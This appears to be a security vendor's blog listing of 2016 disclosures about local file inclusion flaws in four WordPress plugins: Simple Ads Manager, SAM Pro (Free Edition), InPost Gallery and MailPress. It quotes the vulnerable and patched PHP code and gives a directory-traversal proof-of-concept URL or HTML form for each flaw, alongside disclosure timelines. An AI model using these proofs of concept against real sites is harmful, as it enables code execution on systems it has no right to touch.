26 Apr

Vulnerability Details: Local File Inclusion (LFI) Vulnerability in Booking Calendar

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

06 Apr

Vulnerability Details: Authenticated Local File Inclusion (LFI) Vulnerability in WordPress Ad Widget

To provide our customers with the best information possible on vulnerabilities that have been in WordPress plugins they use, we create posts, like this one, which include the details of vulnerabilities for which the discoverer has not released a report with those details already. That allows our customers to better understand how the vulnerability had or could have impacted their website.

For existing customers, please log in to your account to view the details of this vulnerability.

If you are not currently a customer, when you sign up now you can try the service for free for the first month (there are a lot of other reason that you will want to sign up beyond access to posts like this one).

If you are a security researcher please contact us to get free access to all of our Vulnerability Details posts.

28 Oct

Local File Inclusion (LFI) Vulnerability in Simple Ads Manager

In a previous post we looked at a local file inclusion (LFI) vulnerability in the plugin SAM Pro (Free Edition), since that is described as successor to Simple Ads Manager (the plugin is currently removed from the Plugin Directory) we took a look to see if it also had the same vulnerability. As it turned out the plugin was not really vulnerable until the same change made to try to fix the issue in SAM Pro (Free Edition), was made to this plugin.

In the prior version, 2.9.8.125, you can see that the file to be included was not user specified (as seen in the file /sam-ajax-admin.php):

13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
function samCheckLevel() {
	$level = 0;
	$upPath = '';
	$file = 'wp-load.php';
	$fe = false;
 
	while(!$fe && $level < 6) {
		$fe = file_exists($upPath . $file);
		if(!$fe) {
			$upPath .= '../';
			$level++;
		}
	}
	if($fe) return realpath($upPath . $file);
	else return dirname(dirname(dirname(dirname(__FILE__))));
}
 
$wpLoadPath = samCheckLevel();
 
ini_set('html_errors', 0);
$notShortInit = array('load_combo_data', 'load_users', 'load_authors');
 
$validUri = '';
$validRequest = false;
if( ! in_array($_REQUEST['action'], $notShortInit)) define('SHORTINIT', true);
 
require_once( $wpLoadPath );

The only way you can a local file inclusion issue is if you could get a file named “wp-load.php” in the directory /wp-content/, /wp-content/plugins, or /wp-content/plugins/simple-ads-manager. If you could do that you could likely just call the file directory instead of having to use a local file inclusion (LFI) vulnerability to do the same.

In most recent version, 2.10.0.130, it was changed to match the code in SAM Pro (Free Edition):

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$body = 'load';
 
if (!isset( $_REQUEST['action'])) die('-1');
if (!isset( $_REQUEST['wap'] )) die('-2');
 
$prefix = 'wp';
$suffix = 'php';
 
$wap      = ( isset( $_REQUEST['wap'] ) ) ? base64_decode( $_REQUEST['wap'] ) : null;
$mlf = "{$prefix}-{$body}.{$suffix}";
$rightWap = ( is_null( $wap ) ) ? false : strpos( $wap, $mlf );
if ( $rightWap === false ) {
	exit;
}
 
$wpLoadPath = ( is_null( $wap ) ) ? false : $wap;
 
if ( ! $wpLoadPath ) {
	die( '-3' );
}
 
ini_set('html_errors', 0);
$notShortInit = array('load_combo_data', 'load_users', 'load_authors');
 
$validUri = '';
$validRequest = false;
if( ! in_array($_REQUEST['action'], $notShortInit)) define('SHORTINIT', true);
 
require_once( $wpLoadPath );

The only limitation you have with that is that the file you specify to be included has to include “wp-load.php” somewhere in it, of which there are multiple ways you could accomplish that. One being the example we mentioned in the other post, if you could upload media on the website then you could upload a file name wp-load.php.gif with malicious PHP content. WordPress will rename that to wp-load.php_.gif, but otherwise leave it unchanged.

Proof of Concept

The following proof of concept will cause a file located at /wp-content/uploads/2016/10/wp-load.php_.gif to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/simple-ads-manager/sam-ajax-admin.php?action=NA&wap=Li4vLi4vdXBsb2Fkcy8yMDE2LzEwL3dwLWxvYWQucGhwXy5naWY=

Timeline

  • 10/26/2016 – Developer notified of issue in SAM Pro (Free Edition).
28 Oct

Local File Inclusion (LFI) Vulnerability in SAM Pro (Free Edition)

One of the reasons that we provide the details of vulnerabilities that we discover is because we have seen from our own experience (and others) that when reviewing those details you will often notice that the vulnerability has not been fully fixed or that there are additional related vulnerabilities. When those details don’t get released, then those issues can remain in the plugin, as something we just looked into shows.

On Wednesday we had a request for a file, /wp-content/plugins/sam-pro-free/js/sam.pro.dialog.js, from the plugin SAM Pro (Free Edition) on one of our websites. Since we don’t have that plugin installed, that would likely be an indication that a hacker is probing for usage of the plugin before exploiting something in it. We didn’t have any vulnerabilities in this plugin in our dataset, so we went looking to see if any had been disclosed. We found a number of pages that all related a Youtube video, Demo Exploiting Sam Pro Free WordPress Plugin LFI to RCE. The video doesn’t really show you anything, so it wasn’t clear if this related to an actual vulnerability or not. Next up was looking over the changelog for the plugin we saw that in version 1.9.55 one the entries was “Possible vulnerability was excluded”. Looking over the changes made between the previous version in the changelog, 1.8.2.51, and that version, there were a number of security related changes made. That included restricting direct access to a number of the files in the plugin, sanitizing some user input, and changes related to the use of a user specified being value used when including a file.

In version 1.8.2.51, in the file /sam-pro-ajax-admin.php the following code takes a user input value, “wap”, and uses it with the require_once() function (which causes the specified value to be included):

11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
if ( ! isset( $_REQUEST['action'] ) ) {
	die( '-1' );
}
 
$wap = (isset($_REQUEST['wap'])) ? base64_decode($_REQUEST['wap']) : null;
 
ini_set( 'html_errors', 0 );
$fullWP = array(
	'load_taxes',
	'load_types',
	'load_places'
);
$act = ( ! empty( $_REQUEST['action'] ) ? stripslashes( $_REQUEST['action'] ) : false );
 
if(!in_array($act, $fullWP)) define( 'SHORTINIT', true );
 
$wpLoadPath = (is_null($wap)) ? false : $wap;
 
if(!$wpLoadPath) die('-1');
 
require_once($wpLoadPath);

In version 1.9.55 the code has been changed:

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
$prefix = 'wp';
$suffix = 'php';
 
if ( ! isset( $_REQUEST['action'] ) ) {
	die( '-1' );
}
 
$body = 'load';
 
$wap      = ( isset( $_REQUEST['wap'] ) ) ? base64_decode( $_REQUEST['wap'] ) : null;
$mlf = "{$prefix}-{$body}.{$suffix}";
$rightWap = ( is_null( $wap ) ) ? false : strpos( $wap, $mlf );
if ( $rightWap === false ) {
	exit;
}
 
ini_set( 'html_errors', 0 );
$fullWP = array(
	'load_taxes',
	'load_types',
	'load_places'
);
$act    = ( ! empty( $_REQUEST['action'] ) ? stripslashes( $_REQUEST['action'] ) : false );
 
if ( ! in_array( $act, $fullWP ) ) {
	define( 'SHORTINIT', true );
}
 
$wpLoadPath = ( is_null( $wap ) ) ? false : $wap;
 
if ( ! $wpLoadPath ) {
	die( '-1' );
}
 
require_once( $wpLoadPath );

The new code requires that value to be passed in to the require_once() function include “wp-load.php” in it.

So previously if you had the ability to upload media files through WordPress, you could have uploaded a file with a .gif extension that included malicious PHP code and then used the vulnerability to included that, causing the code to run. This appears to be what the Youtube vides was intended to show and considering that it was released three weeks before the fix, it looks like that could have lead to the change. The log message included with one of the changes made related to this is “Changes by administration request.”, that seems like a reference to the people running the wordpress.org Plugin Directory.

The problem is that this doesn’t really fix the issue, since you can still include any file that includes “wp-load.php” in it. Using the media upload example, if you upload a file named wp-load.php.gif, WordPress will permit that, with the exception that the file name is changed to wp-load.php_.gif. Since “wp-load.php” is in that, it will pass the check. There are other possible ways to exploit this as well.

While doing some more looking around on this, since the issue impacted more than one plugin, we noticed that a couple of weeks ago someone else had also noticed the issue and though a different way it could be problematic. The post, in Russian, mentions that if the PHP option allow_url_include was enabled then this vulnerability could be used to include a remote file with the same name (considering the security risk introduced with that enabled it isn’t clear if much of anyone would have that enabled). At least based on a machine translation it doesn’t sound like the author of the post bothered to notify the developer of the issue. We have notified them, but haven’t heard anything back.

Proof of Concept

The following proof of concept will a file named located at /wp-content/uploads/2016/10/wp-load.php_.gif to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-content/plugins/sam-pro-free/sam-pro-ajax-admin.php?action=NA&wap=Li4vLi4vdXBsb2Fkcy8yMDE2LzEwL3dwLWxvYWQucGhwXy5naWY=

Timeline

  • 10/26/2016 – Developer notified.
  • 10/28/2016 – Vulnerability added to free data included with the service’s companion plugin.
  • 10/28/2016 – WordPress.org Plugin Directory notified.
  • 11/1/2016 – Plugin removed from from WordPress.org Plugin Directory.
  • 11/6/2016 – Version 1.9.7.69 submitted to Plugin Directory, which fixes vulnerability.
20 Oct

Local File Inclusion (LFI) Vulnerability in InPost Gallery

One of the ways we keep track of vulnerabilities in WordPress plugins to provide our customers with the best data is by monitoring our websites for apparent activity by hackers. We recently had a request for a file from the plugin InPost Gallery, /wp-content/plugins/inpost-gallery/js/front.js. We don’t have that plugin installed on the website, so the request would likely be from someone probing for usage of the plugin. In looking over the plugin for something that hackers might target, we found a couple of vulnerabilities and some additional security issues. We are not sure if either of the vulnerabilities we found are are what the hacker was looking for or if there is still some other issue lurking in the plugin.

The more serious of the two vulnerabilities was a local file inclusion (LFI) vulnerability that would have allowed the hacker to cause a specified PHP file to to be included. That type of vulnerability could be used to get around protection in place in a file that restricts it from being loaded directly.

The plugin registers the function get_gallery_by_shortcode() to be accessible to anyone logged in or not through WordPress’ AJAX functionality (through the file /index.php):

94
95
add_action('wp_ajax_inpost_gallery_get_gallery', array(__CLASS__, 'get_gallery_by_shortcode'));
add_action('wp_ajax_nopriv_inpost_gallery_get_gallery', array(__CLASS__, 'get_gallery_by_shortcode'));

As of version 2.1.2, that function in turns passed a user specified value, “popup_shortcode_key”, in to the function render_html() without doing any validation:

762
763
764
765
766
767
768
769
public static function get_gallery_by_shortcode()
{
	$attributes = (array) json_decode(base64_decode($_REQUEST['popup_shortcode_attributes']));
	$attributes['show_in_popup'] = 0;
	$shortcode_key = $_REQUEST['popup_shortcode_key'];
	echo self::render_html("views/" . self::get_shortcode_key_folder($shortcode_key) . "/" . $shortcode_key . ".php", $attributes);
	exit;
}

Which in turn passes the value to the include() function:

418
419
420
421
422
423
424
425
public static function render_html($pagepath, $data = array())
{
	$pagepath = self::get_application_path() . '/' . $pagepath;
	@extract($data);
	ob_start();
	include($pagepath);
	return ob_get_clean();
}

After we notified the developer of the issue, version 2.1.2.1 was released, which checks if the value of the user input “popup_shortcode_key” is one of its intended values using the function get_shortcode_key_folder() before allowing it to be included:

772
773
774
775
if (self::get_shortcode_key_folder($shortcode_key))
{
	echo self::render_html("views/" . self::get_shortcode_key_folder($shortcode_key) . "/" . $shortcode_key . ".php", $attributes);
}

Proof of Concept

The following proof of concept will cause the a specified .php file from the root directory of the website to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[PHP filename]” with the name of the file without the “.php” portion (as that is already included).

http://[path to WordPress]/wp-admin/admin-ajax.php?action=inpost_gallery_get_gallery&popup_shortcode_key=../../../../[PHP file name]

Timeline

  • 10/16/2016 – Developer notified.
  • 10/18/2016 – Version 2.1.2.1 released, which fixes the issue.
14 Jul

Local File Inclusion (LFI) Vulnerability in MailPress

One of the things we do to protect our customers from vulnerabilities in WordPress plugins is to monitor our websites for activity indicating that someone is looking to exploit a vulnerability in a plugin. That recently has been allowing us to detect quite a few serious vulnerabilities that it looks like no one else is spotting, so our service is the only one that actual provides you any warning and therefore any protection against them until they are fixed.

Usually by just knowing that a plugin appears to be of interest to hackers we are able to identify a vulnerability that hackers would actually exploit and is likely the vulnerability that they are attempting to exploit. In the latest case we were not able to figure out what that might be due largely to the fact the plugin is so insecure it is hard to narrow down where we might need to look to figure out what it is they are targeting. We did find one vulnerability that is very serious and could be targeted with the plugin in its default state, but it is not a type of vulnerability that is often exploited, so if the plugin is being targeted by hackers there is likely something else out there as well.

The plugin in question is MailPress, which is currently removed not in the Plugin Directory, which could indicate that some vulnerability in it was already reported to the Plugin Directory and it was subsequently removed due to that. Or it could have been removed for some other reason. Looking at archive.org, the plugin was still in the Plugin Directory as of June 10.

The request we had was a GET request for the file /wp-content/plugins/mailpress/mp-includes/action.php. While it is possible the request was just to check for the existence of the plugin before exploiting the plugin through something else, that file provides access to a lot of insecure code. The file causes WordPress to load and creates a new instance of the plugins’ MP_Actions class:

2
3
4
5
6
7
//
include('../../../../wp-load.php');
//
include('../../../../wp-admin/includes/admin.php');
//
new MP_Actions();

That class is defined in the file /mp-includes/class/MP_Actions.class.php, when it is constructed the person sending the request is given access to the class’ functions and any functions that start “mp_action_”:

4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function __construct()
{
	switch (true)
	{
		case ( ( isset($_GET['tg']) ) && !( isset($_POST['action']) || isset($_GET['action']) ) ) :
			$action = 'tracking';
		break;
		case ( isset($_POST['action']) ) :
			$action = $_POST['action'];
		break;
		case ( isset($_GET['action']) ) :
			$action = $_GET['action'];
		break;
		default :
			MP_::mp_die(-1);
		break;
	}
	$action = str_replace('-', '_', $action);
 
	if ( method_exists($this, $action) ) call_user_func_array( array($this, $action), array() );
 
	do_action('mp_action_' . $action );
}

A lot of the functions made accessible through that don’t include the proper security checks, so there are lot of code that someone could potentially used for an exploit.

While looking over the code we found one possible vulnerability that is of the type that is frequently exploited, but found that one the plugin’s feature, which was required to be able to exploit, was broken, so the problems with the plugin are not just with its security.

One vulnerability that we found that is exploitable is a local file inclusion (LFI) vulnerability in the function theme_preview() in the class MP_Actions. At the end on the function it takes the value of the GET input “type” and places that in an include statement:

494
495
496
497
$type  = $_GET['type'];
$$type = $x->build_mail_content($type);
$$type = ('html' == $type) ? $x->process_img($$type, $x->mail->themedir, 'draft') : $$type;
include MP_ABSPATH . "mp-includes/html/{$type}.php";

Using directory traversal any .php file on the website could be included. That would cause the code in the included file to run, so it could be used load a .php file that is not directly accessible.

Proof of Concept

The following proof of concept will cause the file named lfi.php in the root directory of the WordPress installation to be included.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/mailpress/mp-includes/action.php?type=../../../../../lfi" method="POST" >
<input type="hidden" name="action" value="previewtheme" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>